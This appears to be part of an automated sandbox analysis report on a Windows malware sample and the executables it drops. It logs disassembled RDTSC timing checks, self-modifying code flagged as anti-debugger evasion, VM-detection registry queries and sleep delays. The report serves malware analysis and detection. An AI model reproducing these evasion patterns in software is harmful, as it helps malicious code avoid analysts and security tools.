Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54107C5 second address: 54107C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54107C9 second address: 54107CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54107CF second address: 541082B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C369h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c jmp 00007F6BF4B2C35Eh 0x00000011 xchg eax, ebx 0x00000012 pushad 0x00000013 movzx eax, bx 0x00000016 mov dh, 64h 0x00000018 popad 0x00000019 push eax 0x0000001a jmp 00007F6BF4B2C365h 0x0000001f xchg eax, ebx 0x00000020 push eax 0x00000021 push edx 0x00000022 jmp 00007F6BF4B2C35Dh 0x00000027 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 541082B second address: 5410831 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5410831 second address: 5410835 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5410835 second address: 5410839 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5410839 second address: 541084F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F6BF4B2C35Bh 0x00000010 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 541084F second address: 5410898 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F65169h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], esi 0x0000000c jmp 00007F6BF4F6515Eh 0x00000011 mov esi, dword ptr [ebp+08h] 0x00000014 jmp 00007F6BF4F65160h 0x00000019 sub ebx, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5410898 second address: 5410949 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C364h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test esi, esi 0x0000000b jmp 00007F6BF4B2C360h 0x00000010 je 00007F6C66631E22h 0x00000016 jmp 00007F6BF4B2C360h 0x0000001b cmp dword ptr [esi+08h], DDEEDDEEh 0x00000022 pushad 0x00000023 pushad 0x00000024 movzx eax, bx 0x00000027 pushfd 0x00000028 jmp 00007F6BF4B2C369h 0x0000002d jmp 00007F6BF4B2C35Bh 0x00000032 popfd 0x00000033 popad 0x00000034 call 00007F6BF4B2C368h 0x00000039 call 00007F6BF4B2C362h 0x0000003e pop ecx 0x0000003f pop ebx 0x00000040 popad 0x00000041 mov ecx, esi 0x00000043 push eax 0x00000044 push edx 0x00000045 jmp 00007F6BF4B2C35Dh 0x0000004a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5410949 second address: 541094F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 541094F second address: 5410967 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F6C66631DA2h 0x0000000e pushad 0x0000000f pushad 0x00000010 mov edi, 7F0BC386h 0x00000015 popad 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5410967 second address: 54109A5 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F6BF4F65164h 0x00000008 xor ecx, 76D05628h 0x0000000e jmp 00007F6BF4F6515Bh 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 popad 0x00000017 test byte ptr [76FA6968h], 00000002h 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 push ebx 0x00000022 pop eax 0x00000023 mov ebx, 2D822B22h 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54109A5 second address: 5410A5C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C368h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007F6C66631D4Bh 0x0000000f pushad 0x00000010 movzx esi, di 0x00000013 pushfd 0x00000014 jmp 00007F6BF4B2C363h 0x00000019 and si, DD7Eh 0x0000001e jmp 00007F6BF4B2C369h 0x00000023 popfd 0x00000024 popad 0x00000025 mov edx, dword ptr [ebp+0Ch] 0x00000028 jmp 00007F6BF4B2C35Eh 0x0000002d xchg eax, ebx 0x0000002e jmp 00007F6BF4B2C360h 0x00000033 push eax 0x00000034 jmp 00007F6BF4B2C35Bh 0x00000039 xchg eax, ebx 0x0000003a jmp 00007F6BF4B2C366h 0x0000003f xchg eax, ebx 0x00000040 jmp 00007F6BF4B2C360h 0x00000045 push eax 0x00000046 push eax 0x00000047 push edx 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5410A5C second address: 5410A78 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F65168h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5410A78 second address: 5410A7E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5410A7E second address: 5410A82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5410ACA second address: 5410ACE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5410ACE second address: 5410AD4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5410AD4 second address: 5410ADA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5410ADA second address: 5410B35 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop esi 0x00000009 pushad 0x0000000a call 00007F6BF4F6515Dh 0x0000000f mov bx, cx 0x00000012 pop ecx 0x00000013 pushfd 0x00000014 jmp 00007F6BF4F6515Dh 0x00000019 xor cx, 0AA6h 0x0000001e jmp 00007F6BF4F65161h 0x00000023 popfd 0x00000024 popad 0x00000025 pop ebx 0x00000026 jmp 00007F6BF4F6515Eh 0x0000002b mov esp, ebp 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 movsx ebx, si 0x00000033 push ecx 0x00000034 pop ebx 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5420C9A second address: 5420D11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F6BF4B2C35Dh 0x00000008 pop ecx 0x00000009 pushfd 0x0000000a jmp 00007F6BF4B2C361h 0x0000000f or esi, 131170F6h 0x00000015 jmp 00007F6BF4B2C361h 0x0000001a popfd 0x0000001b popad 0x0000001c pop edx 0x0000001d pop eax 0x0000001e xchg eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushad 0x00000023 popad 0x00000024 pushfd 0x00000025 jmp 00007F6BF4B2C369h 0x0000002a adc eax, 22A04D06h 0x00000030 jmp 00007F6BF4B2C361h 0x00000035 popfd 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5420D11 second address: 5420D37 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F65161h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F6BF4F6515Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5420D37 second address: 5420D47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4B2C35Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54A071C second address: 54A0722 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54A0722 second address: 54A0726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54A0726 second address: 54A0768 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F65160h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F6BF4F6515Dh 0x00000015 or eax, 23D51966h 0x0000001b jmp 00007F6BF4F65161h 0x00000020 popfd 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54A0768 second address: 54A076D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54A076D second address: 54A0790 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F6BF4F65161h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54A0790 second address: 54A07C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C367h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6BF4B2C365h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54A07C3 second address: 54A07D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4F6515Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54A07D3 second address: 54A07E5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ebx, esi 0x0000000f mov bh, al 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54909CB second address: 54909D1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54909D1 second address: 54909D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54909D7 second address: 54909DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54909DB second address: 5490A25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C35Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007F6BF4B2C35Ch 0x00000014 pushfd 0x00000015 jmp 00007F6BF4B2C362h 0x0000001a adc ecx, 0023FE48h 0x00000020 jmp 00007F6BF4B2C35Bh 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490A25 second address: 5490A75 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F6BF4F6515Fh 0x00000009 and cx, 188Eh 0x0000000e jmp 00007F6BF4F65169h 0x00000013 popfd 0x00000014 mov ch, 1Fh 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a push eax 0x0000001b push edx 0x0000001c jmp 00007F6BF4F65166h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490800 second address: 5490812 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4B2C35Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490812 second address: 5490816 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490816 second address: 5490825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490825 second address: 549083E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F65165h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 549083E second address: 549084E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4B2C35Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 549084E second address: 5490852 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490852 second address: 5490898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b pushad 0x0000000c movsx edx, cx 0x0000000f push esi 0x00000010 jmp 00007F6BF4B2C365h 0x00000015 pop esi 0x00000016 popad 0x00000017 mov ebp, esp 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F6BF4B2C369h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490898 second address: 549089E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 549089E second address: 54908A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 54300F4 second address: 5430193 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 xchg eax, ebp 0x00000008 pushad 0x00000009 pushfd 0x0000000a jmp 00007F6BF4F65164h 0x0000000f adc ch, FFFFFFD8h 0x00000012 jmp 00007F6BF4F6515Bh 0x00000017 popfd 0x00000018 jmp 00007F6BF4F65168h 0x0000001d popad 0x0000001e push eax 0x0000001f pushad 0x00000020 movsx edi, si 0x00000023 popad 0x00000024 xchg eax, ebp 0x00000025 jmp 00007F6BF4F6515Fh 0x0000002a mov ebp, esp 0x0000002c pushad 0x0000002d mov ax, BE7Bh 0x00000031 pushfd 0x00000032 jmp 00007F6BF4F65160h 0x00000037 xor eax, 00D483C8h 0x0000003d jmp 00007F6BF4F6515Bh 0x00000042 popfd 0x00000043 popad 0x00000044 pop ebp 0x00000045 push eax 0x00000046 push edx 0x00000047 jmp 00007F6BF4F65165h 0x0000004c rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490CAC second address: 5490CC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F6BF4B2C364h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490CC4 second address: 5490CC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490CC8 second address: 5490CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov eax, 310B7013h 0x0000000f mov dx, si 0x00000012 popad 0x00000013 xchg eax, ebp 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F6BF4B2C361h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490CEF second address: 5490CF5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490CF5 second address: 5490CF9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490CF9 second address: 5490D17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F6BF4F65162h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490D17 second address: 5490D8A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4B2C35Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F6BF4B2C364h 0x00000013 sbb al, 00000058h 0x00000016 jmp 00007F6BF4B2C35Bh 0x0000001b popfd 0x0000001c pushfd 0x0000001d jmp 00007F6BF4B2C368h 0x00000022 xor ax, 9DB8h 0x00000027 jmp 00007F6BF4B2C35Bh 0x0000002c popfd 0x0000002d popad 0x0000002e push dword ptr [ebp+08h] 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 mov edx, 008C89A6h 0x00000039 mov ebx, 25E79A32h 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490D8A second address: 5490DE3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov di, si 0x00000006 jmp 00007F6BF4F65162h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e call 00007F6BF4F65159h 0x00000013 pushad 0x00000014 push ecx 0x00000015 mov dl, 67h 0x00000017 pop esi 0x00000018 push edx 0x00000019 jmp 00007F6BF4F65162h 0x0000001e pop esi 0x0000001f popad 0x00000020 push eax 0x00000021 jmp 00007F6BF4F65160h 0x00000026 mov eax, dword ptr [esp+04h] 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490DE3 second address: 5490DE7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490DE7 second address: 5490DEB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490DEB second address: 5490DF1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490DF1 second address: 5490E29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6BF4F6515Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007F6BF4F65169h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490E29 second address: 5490E2D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490E2D second address: 5490E31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	RDTSC instruction interceptor: First address: 5490E31 second address: 5490E37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Special instruction interceptor: First address: 28EC9D instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Special instruction interceptor: First address: 28EBD1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\xwZfYpo16i.exe	Special instruction interceptor: First address: 4BEF52 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B6EC9D instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: B6EBD1 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Special instruction interceptor: First address: D9EF52 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Special instruction interceptor: First address: 343B15 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Special instruction interceptor: First address: 4E7904 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Special instruction interceptor: First address: 513FE6 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Special instruction interceptor: First address: 5813A3 instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\xwZfYpo16i.exe

Code function: 0_2_05490DAE rdtsc

0_2_05490DAE

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1363	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 402	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window / User API: threadDelayed 1414	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Window / User API: threadDelayed 6960	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Window / User API: foregroundWindowGot 1321	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Window / User API: threadDelayed 7807
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Window / User API: threadDelayed 785
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Window / User API: threadDelayed 477
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Window / User API: foregroundWindowGot 1761
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Window / User API: threadDelayed 7660
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe	Window / User API: foregroundWindowGot 1760

Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe

API coverage: 3.8 %

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4836	Thread sleep count: 43 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4836	Thread sleep time: -86043s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 348	Thread sleep count: 1363 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 348	Thread sleep time: -2727363s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5428	Thread sleep count: 402 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 5428	Thread sleep time: -12060000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3136	Thread sleep time: -360000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4564	Thread sleep count: 1414 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 4564	Thread sleep time: -2829414s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe TID: 1308	Thread sleep time: -69600s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000349001\4db5303091.exe TID: 5168	Thread sleep time: -30000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe TID: 380	Thread sleep count: 7807 > 30
Source: C:\Users\user\AppData\Local\Temp\1000332001\cb428cafc9.exe TID: 380	Thread sleep time: -78070s >= -30000s
